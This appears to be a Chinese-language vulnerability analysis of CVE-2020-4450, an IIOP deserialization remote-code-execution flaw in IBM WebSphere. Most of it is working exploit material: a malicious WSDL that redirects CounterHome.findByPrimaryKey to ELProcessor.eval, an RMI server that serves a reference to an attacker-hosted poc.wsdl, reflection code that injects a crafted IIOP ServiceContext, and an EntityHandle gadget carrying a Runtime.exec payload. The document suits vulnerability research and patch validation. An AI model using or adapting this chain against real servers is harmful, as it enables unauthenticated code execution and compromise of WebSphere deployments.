Websphere CVE-2020-4450分析
Created: April 7, 2022 2:15 PM
Last Edited Time: April 19, 2022 2:59 PM
Status: Completed 🏁
Type: 漏洞分析
连接iiop时需要关闭ssl
反序列化入口
TXServerInterceptor 拦截器处理 iiop 请求
首先需要满足条件进入漏洞触发点com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request
public void receive_request(ServerRequestInfo sri) {
if (TraceComponent.isAnyTracingEnabled() && tc.isEntryEnabled()) {
Tr.entry(tc, "receive_request", "Operation: " + sri.operation());
}
ServiceContext serviceContext = ((ExtendedServerRequestInfo)sri).getRequestServiceContext(0);
TransactionManagerMessage tmm = null;
boolean validOtsContext = serviceContext != null && serviceContext.context_data != null;
int contextType = 2;
boolean joinedTran = true;
...........
if (validOtsContext) {
if (TraceComponent.isAnyTracingEnabled() && tc.isDebugEnabled()) {
Tr.debug(tc, "Transaction context found.");
}
PropagationContext propagationContext = null;
if (TxProperties.SINGLE_PROCESS) {
propagationContext = TxInterceptorHelper.demarshalContext(serviceContext.context_data, (ORB)((LocalObject)sri)._orb());
contextType = TxInterceptorHelper.determineContextType(propagationContext);
}
需要保证serviceContext
以及serviceContext.context_data
不为空
跟进TxInterceptorHelper.*demarshalContext*
这里是Corba rpc 流程中的解包流程 而read_any方法后边会触发反序列化 jdk原生反序列化https://paper.seebug.org/1124/ 这里IBM重新实现了IIOP解析流程所以会和jdk原生处理不一样
具体调用链如下
readObject:513, WSIFPort_EJB (org.apache.wsif.providers.ejb) <-----这个类是找的可利用的类
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:90, NativeMethodAccessorImpl (sun.reflect)
invoke:55, DelegatingMethodAccessorImpl (sun.reflect)
invoke:508, Method (java.lang.reflect)
invokeObjectReader:2483, IIOPInputStream (com.ibm.rmi.io)
inputObjectUsingClassDesc:2010, IIOPInputStream (com.ibm.rmi.io)
continueSimpleReadObject:749, IIOPInputStream (com.ibm.rmi.io)
simpleReadObjectLoop:720, IIOPInputStream (com.ibm.rmi.io)
simpleReadObject:669, IIOPInputStream (com.ibm.rmi.io)
readValue:193, ValueHandlerImpl (com.ibm.rmi.io)
read_value:787, CDRReader (com.ibm.rmi.iiop)
read_value:847, EncoderInputStream (com.ibm.rmi.iiop)
unmarshalIn:273, TCUtility (com.ibm.rmi.corba)
read_value:664, AnyImpl (com.ibm.rmi.corba)
read_any:467, CDRReader (com.ibm.rmi.iiop)
read_any:797, EncoderInputStream (com.ibm.rmi.iiop)
demarshalContext:171, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)
receive_request:180, TxServerInterceptor (com.ibm.ws.Transaction.JTS)
因为IBM自身的原因 所以一些公开的利用链无法利用 所以需要基于WSIFPort_EJB这个类找一个可利用的链
利用Apache WSIF
实验WSIF更改程序执行流
WSIF 全称 Web 服务调用框架,是一组用于调用 Web 服务的 Java API。其和 wsdl 描述文件强关联,wsdl 文件用于描述与 Web 服务的抽象结构进行交互,可以理解为 Web 服务 API 的描述文件。
创建接口Gadget
package com.company;
import java.io.IOException;
public interface Gadget {
public void exec(String command) throws IOException;
}
实现Gadget接口
package com.company;
import java.io.IOException;
public class GadgetImpl implements Gadget {
@Override
public void exec(String command) throws IOException {
System.out.printf(command);
}
}
main函数
package com.company;
import org.apache.wsif.WSIFException;
import org.apache.wsif.WSIFService;
import org.apache.wsif.WSIFServiceFactory;
public class Main {
private static void vul(Gadget gadget){
try {
gadget.exec("\\"a\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"java.lang.Runtime.getRuntime().exec('calc')\\")");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
WSIFServiceFactory factory = WSIFServiceFactory.newInstance();
WSIFService service = factory.getService(
"D:\\\\code\\\\java\\\\webspheretest\\\\src\\\\com\\\\company\\\\a.wsdl",
null,
null,
"<http://wsifservice.addressbook/>",
"Gadget"
);
Gadget stub = (Gadget) service.getStub(Gadget.class);
vul(stub);
}catch (WSIFException e){
e.printStackTrace();
}
}
}
WSIFServiceFactory.getService()方法说明如下:
- javax.wsdl.Definition:wsdl 文件的位置
- portTypeNs:用于标识 port 的 NameSpace,相当于配置的命名空间
- portTypeName:port 的名字,在 wsdl 中 portType 为接口对象的 xml 表示
a.wsdl文件如下 参考文档https://www.ibm.com/docs/ru/was-nd/8.5.5?topic=services-developing-wsif-service
<definitions targetNamespace="<http://wsifservice.addressbook/>"
xmlns:tns="<http://wsifservice.addressbook/>"
xmlns:xsd="<http://www.w3.org/1999/XMLSchema>"
xmlns:format="<http://schemas.xmlsoap.org/wsdl/formatbinding/>"
xmlns:java="<http://schemas.xmlsoap.org/wsdl/java/>"
xmlns="<http://schemas.xmlsoap.org/wsdl/>">
<message name="ExecRequestMessage">
<part name="command" type="xsd:string"/>
</message>
<portType name="Gadget">
<operation name="exec">
<input name="ExecRequest" message="tns:ExecRequestMessage"/>
</operation>
</portType>
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String" />
</format:typeMapping>
<operation name="exec">
<java:operation
methodName="exec"
parameterOrder="command"
methodType="instance"
/>
</operation>
</binding>
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="com.company.GadgetImpl"/>
</port>
</service>
</definitions>
执行效果如下:
将参数打印出来
然后再修改wsdl文件
<definitions targetNamespace="<http://wsifservice.addressbook/>"
xmlns:tns="<http://wsifservice.addressbook/>"
xmlns:xsd="<http://www.w3.org/1999/XMLSchema>"
xmlns:format="<http://schemas.xmlsoap.org/wsdl/formatbinding/>"
xmlns:java="<http://schemas.xmlsoap.org/wsdl/java/>"
xmlns="<http://schemas.xmlsoap.org/wsdl/>">
<message name="ExecRequestMessage">
<part name="command" type="xsd:string"/>
</message>
<portType name="Gadget">
<operation name="exec">
<input name="ExecRequest" message="tns:ExecRequestMessage"/>
</operation>
</portType>
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String" />
</format:typeMapping>
<operation name="exec">
<java:operation
methodName="eval"
parameterOrder="command"
methodType="instance"
/>
</operation>
</binding>
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="javax.el.ELProcessor"/>
</port>
</service>
</definitions>
执行效果如下:
这里就会将执行流程引向了javax.el.ELProcessor
gadget
接着上边的反序列化入口
存在一个类org.apache.wsif.providers.ejb.WSIFPort_EJB且这个类的readObject会触发JNDI
重点是在EJBObject()中 可以看到这里有两个 但是homeHandle在后边实现的问题 无法利用
所以最终是利用handle.getEJBObject()
跟进com.ibm.ejs.container.EntityHandle#getEJBObject
中
调用lookup方法 且homeClass为EJBHome的实现类
然后进入com.ibm.ejs.container.EntityHandle#findFindByPrimaryKey
要求homeClass中存在findFindByPrimaryKey
的方法
跟进lookup方法
执行到org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories时
这里的factory可以通过environment
自定义实现 最后调用factory.getObjectInstance()方法
这里找到一个org.apache.wsif.naming.WSIFServiceObjectFactory
指定factory为org.apache.wsif.naming.WSIFServiceObjectFactory
跟进org.apache.wsif.naming.WSIFServiceObjectFactory查看
会进入到下边这个分支
再参照
WSIF需要的参数可以通过Reference获取
还可以通过className指定生成的 stub
动态代理对象的类型,将stub设置为EJBHome的实现类 就满足前边的需求了
这里查看实现EJBHome的类
com.ibm.ejs.security.registry.RegistryEntryHome
com.ibm.ws.batch.AbstractResourceHome
com.ibm.ws.batch.CounterHome
com.ibm.ws.batch.LocalJobStatusHome
选择了CounterHome类 因为实现较为简单
构造好wsdl文件让CounterHome中的findByPrimaryKey
方法指向javax.el.ELProcessor的eval方法在返回CounterHome对象后,会利用反射调用其findByPrimaryKey
方法
Method fbpk = this.findFindByPrimaryKey(homeClass);
this.object = (EJBObject)fbpk.invoke(home, this.key);
构造好的wsdl文件
<?xml version="1.0" ?>
<definitions targetNamespace="<http://wsifservice.addressbook/>"
xmlns:tns="<http://wsifservice.addressbook/>"
xmlns:xsd="<http://www.w3.org/1999/XMLSchema>"
xmlns:format="<http://schemas.xmlsoap.org/wsdl/formatbinding/>"
xmlns:java="<http://schemas.xmlsoap.org/wsdl/java/>"
xmlns="<http://schemas.xmlsoap.org/wsdl/>">
<!-- type defs -->
<!-- message declns -->
<message name="findByPrimaryKeyRequest">
<part name="el" type="xsd:string"/>
</message>
<message name="findByPrimaryKeyResponse">
<part name="counterObject" type="xsd:object"/>
</message>
<!-- port type declns -->
<portType name="Gadget">
<operation name="findByPrimaryKey">
<input message="tns:findByPrimaryKeyRequest"/>
<output message="tns:findByPrimaryKeyResponse"/>
</operation>
</portType>
<!-- binding declns -->
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String"/>
<format:typeMap typeName="xsd:object" formatType="java.lang.Object"/>
</format:typeMapping>
<operation name="findByPrimaryKey">
<java:operation
methodName="eval"
parameterOrder="el"
methodType="instance"
returnPart="counterObject"
/>
</operation>
</binding>
<!-- service decln -->
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="javax.el.ELProcessor"/>
</port>
</service>
</definitions>
构造RMI Server绑定
package com.company;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.wsif.naming.WSIFServiceStubRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class EvalRmiServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference(WSIFServiceStubRef.class.getName(), (String) null, (String) null);
ref.add(new StringRefAddr("wsdlLoc", "<http://192.168.62.212:8000/poc.wsdl>"));
ref.add(new StringRefAddr("serviceNS", null));
ref.add(new StringRefAddr("serviceName", null));
ref.add(new StringRefAddr("portTypeNS", "<http://wsifservice.addressbook/>"));
ref.add(new StringRefAddr("portTypeName", "Gadget"));
ref.add(new StringRefAddr("preferredPort", "JavaPort"));
ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("poc", referenceWrapper);
System.out.printf("c 1099");
}
}
构造IIOP数据
回到最开始com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request
要求serviceContext和serviceContext.context_data不为空
先看服务端获取serviceContext
的流程
获取serviceContext的代码
ServiceContext serviceContext = ((ExtendedServerRequestInfo)sri).getRequestServiceContext(0);
调用栈为
从com.ibm.rmi.iiop.RequestMessage
对象中获取 ServiceContext
对象
在getServiceContext
中取id为0的ServiceContext(var1的值为0) 但是因为没有编号为0的ServiceContext 所以返回为空
public ServiceContext getServiceContext(int var1) {
ServiceContext var2 = null;
synchronized(this) {
for(int var4 = 0; var4 < this.serviceContexts.length; ++var4) {
if (this.serviceContexts[var4].getId() == var1) {
var2 = this.serviceContexts[var4];
break;
}
}
return var2;
}
}
从调用链可以看出serviceContext是从RequestMessage中取出的
然后再看client端的生成 GIOPImpl中调用createRequest
首先生成一个Connection
对象 然后根据获取的 Connection
对象获取 ServiceContext
然后在Connection
中有设置iceContext的
在createRequest中还会实例化ClientRequestImpl 然后又实例化了RequestMessage 这里就和服务端对应起来了
然后就是通过反射区构造数据 将ServiceContext放入RequestMessage中
由于getConnection需要一些参数 所以先查询一次 初始化之后 通过反射获取到值 然后再调用进行赋值
Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://192.168.62.212:2809");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
InitialContext context = new InitialContext(env);
context.list("");
Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);
Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB) f_orb.get(clientDelegate);
GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, com.ibm.rmi.Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class);
getConnection.setAccessible(true);
Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "beijixiong404");
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);
ArrayList v4 = new ArrayList();
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);
Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
fieldEjbObject.setAccessible(true);
fieldEjbObject.set(wsifPort_ejb,new EJSWrapperS());
CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();
Any any = orb.create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(0,
new TransIdentity(null,null, new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any);
PropagationContextHelper.write(outputStream,propagationContext);
byte[] result = outputStream.toByteArray();
ServiceContext serviceContext = new ServiceContext(0, result);
v4.add(serviceContext);
setConnectionContexts.invoke(connection, v4);
context.list("");
构造反序列化数据
Any any = orb.create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(0,
new TransIdentity(null,null, new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any);
PropagationContextHelper.write(outputStream,propagationContext);
byte[] result = outputStream.toByteArray();
这一串代码是因为在
这一块有很多read读数据 然后找一下这里是如何构造的
在marshalContext
中进行构造 然后参照着重新写一下
构造EntityHandle
对象
homeJNDIName
需要设置为RMI的地址
key
是findFindByPrimaryKey的参数 也就是我们最后要执行的命令
initialContextProperties
是需要设置为org.apache.wsif.naming.WSIFServiceObjectFactory
homeJNDIName和key是在BeanId中生成
整体思路:
- 实例化 EJSHome 接口实现类
- 实例化 J2EEName 对象
- 反射设置 J2EEName 到 EJSHome 接口实现类
- 反射设置 EJSHome 接口实现类的 this.jndiName 变量为 RMI Server 的地址
- 实例化 BeanId
- 实例化 BeanMetaData
- 实例化 Properties
具体代码如下
class EJSWrapperS extends EJSWrapper {
@Override
public Handle getHandle() throws RemoteException {
Handle var2 = null;
try {
SessionHome sessionHome = new SessionHome();
J2EEName j2EEName = new J2EENameImpl("aa", "aa", "aa");
Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");
j2eeName.setAccessible(true);
j2eeName.set(sessionHome, j2EEName);
Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");
jndiName.setAccessible(true);
jndiName.set(sessionHome, "rmi://192.168.52.128:1099/poc");
Serializable key = "\\"a\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"java.lang.Runtime.getRuntime().exec('calc')\\")";
BeanId beanId = new BeanId(sessionHome, key, true);
BeanMetaData beanMetaData = new BeanMetaData(1);
beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;
Properties initProperties = new Properties();
initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");
Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);
c.setAccessible(true);
var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);
} catch (Exception e) {
e.printStackTrace();
}
return var2;
}
}